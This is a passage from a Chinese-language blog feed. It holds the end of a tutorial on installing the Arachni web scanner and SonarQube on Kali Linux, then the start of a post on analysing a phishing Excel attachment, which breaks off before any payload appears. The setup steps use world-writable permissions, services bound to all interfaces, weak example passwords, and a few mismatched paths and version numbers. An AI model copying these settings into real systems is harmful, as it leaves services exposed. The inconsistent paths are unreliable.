&lt;p style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;sudo tar -zxvf /tmp/arachni-1.6.1.3-0.6.1.1-linux-x86_64.tar.gz&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#將檔案解壓至 /opt&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #cccccc; font-family: arial;&quot;&gt;cd arachni-1.6.1.3-0.6.1.1/.system/arachni-ui-web/db/&lt;/span&gt;&lt;span style=&quot;color: #cccccc; font-family: arial;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00; font-family: arial;&quot;&gt;#切換到arachni的資料庫目錄&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;chmod 666 production.sqlite3&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;# 設定預設使用的sqlite資料庫的讀寫權限&lt;/span&gt;&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;font-family: arial; font-size: 14pt; text-indent: 2em;&quot;&gt;完成安裝後，請以下列命令啟動arachni web伺服器：&lt;/p&gt;
  &lt;div style=&quot;background-color: black; border: 1px solid red; font-family: arial; font-size: 12pt; line-height: 110%; margin: 4px; padding: 0px 4px 0px 12px;&quot;&gt;
&lt;p&gt;&lt;span style=&quot;color: #cccccc; font-family: arial;&quot;&gt;cd /opt/arachni-1.6.1.3-0.6.1.1/bin&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;# 切換到arachni的bin目錄&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;./arachni_web -o 0.0.0.0 -p 8888&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#啟動arachni&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: arial;&quot;&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # -o 指定來源網卡，0.0.0.0 表示此機器上的所有網卡&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # 8888 表示連線端口，瀏覽器可以 http://VM-IP:8888 連線。&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;啟動arachni web serve後，從Kali裡的瀏覽器連線&lt;span style=&quot;background-color: #fcff01;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;http://127.0.0.1:8888&lt;/span&gt;&lt;/span&gt;，如果出現登入畫面，就表示安裝成功了。arachnii預設的兩組帳密分別是：&lt;/p&gt;
&lt;div style=&quot;border: 1px solid gray; font-family: arial; margin: 0px 2em; padding: 0px 2em;&quot;&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;admin@admin.admin&lt;/span&gt; ／ &lt;span style=&quot;color: #990000;&quot;&gt;administrator&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt;user@user.user&lt;/span&gt; ／ &lt;span style=&quot;color: #990000;&quot;&gt;regular_user&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; text-indent: 2em;&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiAPGgvi7uCV4eWHf91PxTt9-wfY1cfQYaUGp91yyvdX9_fTxCtO94X8DEKICzU2Zc3zzg3wo_G-nRilFPLEZ00db5_K5VdENnFBymYIToD1dgQaX8kFy_ioyn26HybjKopYRpmPz9nr8wlaV5WZlK4-hWlunouE0KrdEwmC7lqz-wwfkw1kkAki9QbXg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;看到登入畫面，表示arachni安裝成功&quot; data-original-height=&quot;560&quot; data-original-width=&quot;661&quot; height=&quot;339&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiAPGgvi7uCV4eWHf91PxTt9-wfY1cfQYaUGp91yyvdX9_fTxCtO94X8DEKICzU2Zc3zzg3wo_G-nRilFPLEZ00db5_K5VdENnFBymYIToD1dgQaX8kFy_ioyn26HybjKopYRpmPz9nr8wlaV5WZlK4-hWlunouE0KrdEwmC7lqz-wwfkw1kkAki9QbXg=w400-h339&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;看到登入畫面，表示arachni安裝成功&lt;/div&gt;
 &lt;p style=&quot;font-family: arial; font-size: 14pt; text-indent: 2em;&quot;&gt;上面的安裝方式是使用arachni自帶的sqllite3資料庫，如果想使用PostgreSQL資料庫來保存arachni執行結果，可按下列步驟調整：&lt;/p&gt;
&lt;div style=&quot;background-color: black; border: 1px solid red; font-family: arial; font-size: 12pt; line-height: 110%; margin: 4px; padding: 0px 4px 0px 12px;&quot;&gt;
&lt;p&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;cd /opt/arachni-1.6.1.3-0.6.1.1/.system/arachni-ui-web/config/&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#切換到 config 目錄&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;sudo mv database.yml database.yml.sqlite3&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;nbsp;#備份原來sqlite3的連線組態&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;sudo mv database.yml.pgsql database.yml&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;nbsp;# 啟用postgresql的連線組態&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;cat database.yml&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#查看連線組態的內容&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#要注意裡頭 username: &lt;/span&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;arachni&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt; 及 password: &lt;/span&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;secret&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt; 的值&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;cd ~&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt; #回到kali的家目錄&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
  &lt;p style=&quot;font-family: arial; font-size: 14pt; text-indent: 2em;&quot;&gt;接著設定arachni的資料庫。假如一開始就打算讓arachni使用PostgreSQL資料庫，可以在步驟貳完成以下的資料庫設置。&lt;/p&gt;
&lt;div style=&quot;background-color: black; border: 1px solid red; line-height: 110%; margin: 4px; padding: 0px 4px 0px 12px;&quot;&gt;
  &lt;p style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;su - postgres&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;nbsp;#切換成postgres角色的作業環境&lt;br /&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;密碼：&amp;nbsp; &amp;lt;&lt;/span&gt;&lt;i style=&quot;color: #cccccc;&quot;&gt;輸入postgres的密碼&lt;/i&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: #fcff01;&quot;&gt;createuser&amp;nbsp; arachni&lt;/span&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;# 配合database.yml裡的username值，建立新使用者&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: #fcff01;&quot;&gt;psql&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#進入PostgreSQL 資料庫命令列環境&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: #f4cccc;&quot;&gt;ALTER USER arachni WITH ENCRYPTED password &#39;secret&#39;;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;# 配合database.yml裡的password，為arachni帳號設定密碼&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 12pt;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: #f4cccc; font-family: arial;&quot;&gt;CREATE DATABASE arachni_production WITH ENCODING &#39;UTF8&#39; OWNER arachni;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00; font-family: arial;&quot;&gt;#建立&lt;/span&gt;&lt;span style=&quot;color: #ffa400; font-family: arial;&quot;&gt;arachni_production&lt;/span&gt;&lt;span style=&quot;color: #04ff00; font-family: arial;&quot;&gt;資料庫，並將擁有者設為&lt;/span&gt;&lt;span style=&quot;color: #ffa400; font-family: arial;&quot;&gt;arachni&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #ead1dc; font-family: arial;&quot;&gt;ALTER USER arachni CREATEDB;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00; font-family: arial;&quot;&gt;#賦予arachni建立DB的權限&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: #cccccc; font-family: arial; font-size: 12pt;&quot;&gt;\q&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00; font-family: arial; font-size: 12pt;&quot;&gt;#離開 PostgreSQL 資料庫命令列環境&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;&lt;span style=&quot;color: #fcff01;&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#離開PostgreSQL管理環境&lt;/span&gt;&lt;/p&gt;
  &lt;/div&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;完成arachni的資料庫設定後，還需要執行&lt;/p&gt;
&lt;div style=&quot;background-color: black; border: 1px solid red; color: #cccccc; font-family: arial; font-size: 12pt; line-height: 140%; padding: 4px;&quot;&gt;&amp;nbsp;cd /opt/arachni-1.6.1.3-0.6.1.1/bin&lt;br /&gt;&amp;nbsp;./arachni_web_task db:setup&amp;nbsp;&lt;/div&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;來設定arachni_production的資料庫綱要。&lt;/p&gt;
 &lt;p style=&quot;font-size: 14pt; text-indent: 2em;&quot;&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;&lt;span style=&quot;color: #990000; font-size: medium;&quot;&gt;
&lt;b&gt;肆、安裝SonarQube&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; text-indent: 2em;&quot;&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot; target=&quot;_blank&quot;&gt;這裡&lt;/a&gt;有SonarQube的所有下載檔，筆者選用免費的社群版，並安裝於 /opt目錄。&lt;/p&gt;
&lt;div style=&quot;background-color: black; border: 1px solid red; line-height: 110%; margin: 4px; padding: 0px 4px 0px 12px;&quot;&gt;
&lt;p style=&quot;color: #cccccc; font-family: arial; font-size: 12pt;&quot;&gt;wget -P /tmp https://binaries.sonarsource.com/Distribution/sonarqube/sonarqube-9.9.0.65466.zip&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #04ff00;&quot;&gt;# 將SonarQube下載到 /tmp 目錄&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #cccccc; font-family: arial; font-size: 12pt;&quot;&gt;cd /opt&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #04ff00;&quot;&gt;# 將工作目錄切換到 /opt&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #cccccc; font-family: arial; font-size: 12pt;&quot;&gt;sudo unzip /tmp/sonarqube-9.9.0.65466.zip&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #04ff00;&quot;&gt;#解壓縮 SonarQube&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #cccccc; font-family: arial; font-size: 12pt;&quot;&gt;sudo chown -R kali:kali /opt/sonarqube-9.9.0.65466/*&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #04ff00;&quot;&gt;# 變更sonarqube的權限設定&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #cccccc; font-family: arial; font-size: 12pt;&quot;&gt;sudo chmod 777 -R /opt/sonarqube-9.8.0.63668/temp&amp;nbsp; &amp;nbsp; &amp;nbsp;#&amp;nbsp;&lt;span style=&quot;color: #04ff00; font-family: arial;&quot;&gt;#變更temp的權限設定&lt;/span&gt;&lt;/p&gt;
  &lt;p style=&quot;color: #cccccc; font-family: arial; font-size: 12pt;&quot;&gt;sudo nano /opt/sonarqube/conf/sonar.properties&amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #04ff00;&quot;&gt;#編輯sonar 組態檔&lt;/span&gt;&lt;/p&gt;
  &lt;div style=&quot;background-color: #cccccc; color: #660000; font-family: arial; font-size: 12pt; margin: 4px; padding: 4px;&quot;&gt;
  &lt;p&gt;# DATABASE&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt;#有關資料庫連線的設定&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;sonar.jdbc.username=kali&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt;#帳號，見步驟貳的設定&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;sonar.jdbc.password=kali&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #0b5394; font-size: 12pt;&quot;&gt;#帳號，見步驟貳的設定&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;sonar.jdbc.url=jdbc:postgresql://localhost/sonar&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt;#sonar是步驟貳建立的資料庫&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;# WEB SERVER&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt;#有關Web Server的設定&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;sonar.web.host=0.0.0.0&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #0b5394;&quot;&gt;#指定可連入的網卡，0.0.0.0表所有IP皆供連線&lt;/span&gt;&lt;/p&gt;
  &lt;p&gt;sonar.web.port=9000&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #0b5394;&quot;&gt;#指定監聽連入的端口&lt;/span&gt;&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;color: #cccccc; font-family: arial; font-size: 12pt;&quot;&gt;&lt;/p&gt;
  &lt;p&gt;&lt;span style=&quot;color: #cccccc; font-family: arial;&quot;&gt;/opt/sonarqube-9.9.0.65466/bin/linux-x86-64/sonar.sh console&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #04ff00; font-family: arial;&quot;&gt;#啟動SonarQube&lt;/span&gt;&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;font-family: arial; font-size: 14pt; text-indent: 2em;&quot;&gt;啟動SonarQube伺服器後，由Kali裡的瀏覽器連線&lt;span style=&quot;background-color: #fcff01;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;http://127.0.0.1:9000&lt;/span&gt;&lt;/span&gt;，若出現登入畫面，就表示安裝成功了。&lt;/p&gt;
 &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjaN6bbl7vTjPwSBEOYho2SXqxhEdeBwvjxkfEcpOgFvlQ-nXOB6W6tt6O8jtXIfWN-f6RvySM9-KyqfIrzmw0fln2RmAAG8jzlQ_fv2U2rMLS-UO9o9tAZ1aZ0o9DoVYw0LQoJBseucGqNnlEslw5yf14h3-JRcdC45BDzEP8OEbx0HV2Pa0LnI1kACA&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;369&quot; data-original-width=&quot;660&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEjaN6bbl7vTjPwSBEOYho2SXqxhEdeBwvjxkfEcpOgFvlQ-nXOB6W6tt6O8jtXIfWN-f6RvySM9-KyqfIrzmw0fln2RmAAG8jzlQ_fv2U2rMLS-UO9o9tAZ1aZ0o9DoVYw0LQoJBseucGqNnlEslw5yf14h3-JRcdC45BDzEP8OEbx0HV2Pa0LnI1kACA&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;看到登入畫面，表示SonarQube安裝成功&lt;/div&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt;&quot;&gt;至此已完成Arachni及SonarQube安裝，有空再介紹這兩套工具的基本用法。&lt;/p&gt;
 &lt;hr style=&quot;border: 2px solid blue;&quot; /&gt;
&lt;p style=&quot;font-family: arial; font-size: 14pt; margin-left: 2em; text-indent: -2em;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;註：&lt;/span&gt;&lt;/b&gt;若一切從頭安裝，必須逐一安裝java、PostgreSQL、Ruby，利用現成的Kali VM，將心思專注於arachni及SonarQube的安裝，省卻許多除錯程序，可大大提高成功率。&lt;/p&gt;
  &lt;hr style=&quot;border: 2px solid blue;&quot; /&gt;
  &lt;p style=&quot;margin: 0px;&quot;&gt;白箱掃描範例：&lt;/p&gt;
  &lt;p style=&quot;margin-left: 2em; margin-top: 0px;&quot;&gt;&lt;a href=&quot;https://atic-tw.blogspot.com/2023/09/sonarqubedotnet-core.html&quot; target=&quot;_blank&quot;&gt;掃描dotNet Core專案源碼&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://atic-tw.blogspot.com/2023/09/sonarqubenetframework.html&quot;&gt;
  掃描.netFramework專案源碼&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://atic-tw.blogspot.com/2023/09/sonarqube-maven.html&quot; target=&quot;_blank&quot;&gt;掃描maven專案源碼&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://atic-tw.blogspot.com/feeds/8681704923268792398/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://atic-tw.blogspot.com/2023/03/kali-linuxarachnisonarqube.html#comment-form' title='3 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/8681704923268792398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1967825056283652287/posts/default/8681704923268792398'/><link rel='alternate' type='text/html' href='http://atic-tw.blogspot.com/2023/03/kali-linuxarachnisonarqube.html' title='在KALI Linux建置黑、白箱掃描系統（Arachni及SonarQube）'/><author><name>雅技資訊技術</name><uri>http://www.blogger.com/profile/06948808120337987647</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEh1BtuaD_47km2QWazvldu_dKIIeGoUs_nYHwW_9YI7xUUiFio5OzVJB73H0adM3UCFFJ5YTxUlP-u8PfcDgAfiMpQLQQ9qu72hJxlHka0i1_XKopG_yi-RuhESjVcnmSRgC0k9cnB1y3QqDNru482PIApvmzBEU3wMO9yY53iqebdsKbZrBojoVjju8Q=s72-c" height="72" width="72"/><thr:total>3</thr:total><georss:featurename>7QJ35CW5+Q5</georss:featurename><georss:point>22.1968905 121.4079504</georss:point><georss:box>-8.673183144827405 86.2517004 53.0669641448274 156.5642004</georss:box></entry><entry><id>tag:blogger.com,1999:blog-1967825056283652287.post-1728976102061037764</id><published>2022-05-15T11:55:00.005+08:00</published><updated>2022-05-19T13:34:06.506+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="社交工程"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊安全"/><category scheme="http://www.blogger.com/atom/ns#" term="資訊技術"/><title type='text'>社交工程事件調查</title><content type='html'>&lt;div style=&quot;border: 3px solid rgb(8, 108, 197); line-height: 150%; padding: 8px;&quot;&gt;
&lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;
參與滲透測試小組好幾年了，第一次遇到真正的社交工程攻擊。&lt;/p&gt;
&lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;前天(&lt;span style=&quot;font-family: arial;&quot;&gt;2022/05/13&lt;/span&gt;)甫上班，同事就來電說他被釣魚了，叫我幫忙分析郵件裡的載荷。這位同事很機警，並沒有打開郵件，而是直接將它存成 &lt;span style=&quot;font-family: arial;&quot;&gt;.msg&lt;/span&gt;（&lt;span style=&quot;font-family: arial;&quot;&gt;outlook&lt;/span&gt;格式的郵件檔），我用&lt;span style=&quot;font-family: arial;&quot;&gt;Outlook&lt;/span&gt;的純文字模式開啟此封郵件，裡頭有一支&lt;span style=&quot;font-family: arial;&quot;&gt;Excel&lt;/span&gt;檔（&lt;span style=&quot;font-family: arial;&quot;&gt;.xls&lt;/span&gt;）。一下載此&lt;span style=&quot;font-family: arial;&quot;&gt;xls&lt;/span&gt;就被防載軟體砍掉，覺得有必要看看它有什麼機關？&lt;/p&gt;
&lt;p style=&quot;font-size: 14pt; margin-bottom: 8px; text-indent: 2em;&quot;&gt;用&lt;span style=&quot;font-family: arial;&quot;&gt;EXCEL&lt;/span&gt;開啟此&lt;span style=&quot;font-family: arial;&quot;&gt;xls&lt;/span&gt;時，會出現&lt;span style=&quot;color: #cc0000;&quot;&gt;停用巨集的安全性警告&lt;/span&gt;（圖1），表示裡頭有巨集，下意識就切到&lt;span style=&quot;font-family: arial;&quot;&gt;VBScript&lt;/span&gt;編輯環境，但沒有發現任何巨集、也沒有要求輸入保護密碼，心中疑惑重重！想起&lt;span style=&quot;color: #351c75;&quot;&gt;&lt;u&gt;林易澍&lt;/u&gt;&lt;/span&gt;老師教過「&lt;span style=&quot;color: #38761d; font-family: arial;&quot;&gt;OfficeMalScanner&lt;/span&gt;」可以分離出被保護的巨集，但執行結果是「&lt;span style=&quot;color: #cc0000; font-family: arial;&quot;&gt;No VB-Marco code found!&lt;/span&gt;」（圖2）。&lt;/p&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgddQYYevMjDJSj4LxU_I0kAo9fIkP8NU57lsZ3qkc25nMsCZMIrGhkM1oXZeFxbBddJzggiwb1saTmoUuEu6FuKq5yxlxdasj3KYUrzE3GHePTCvgkECm7_And-o8_9dWFcm50w4Gz_uk_ByXPPQk0JzUIj-NBdkLpPBdm7ipJ_KcC9LEqVqm-TSR-ZQ/s887/pic01.png&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;341&quot; data-original-width=&quot;887&quot; height=&quot;154&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgddQYYevMjDJSj4LxU_I0kAo9fIkP8NU57lsZ3qkc25nMsCZMIrGhkM1oXZeFxbBddJzggiwb1saTmoUuEu6FuKq5yxlxdasj3KYUrzE3GHePTCvgkECm7_And-o8_9dWFcm50w4Gz_uk_ByXPPQk0JzUIj-NBdkLpPBdm7ipJ_KcC9LEqVqm-TSR-ZQ/w400-h154/pic01.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;圖1：出現安全性警告&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td 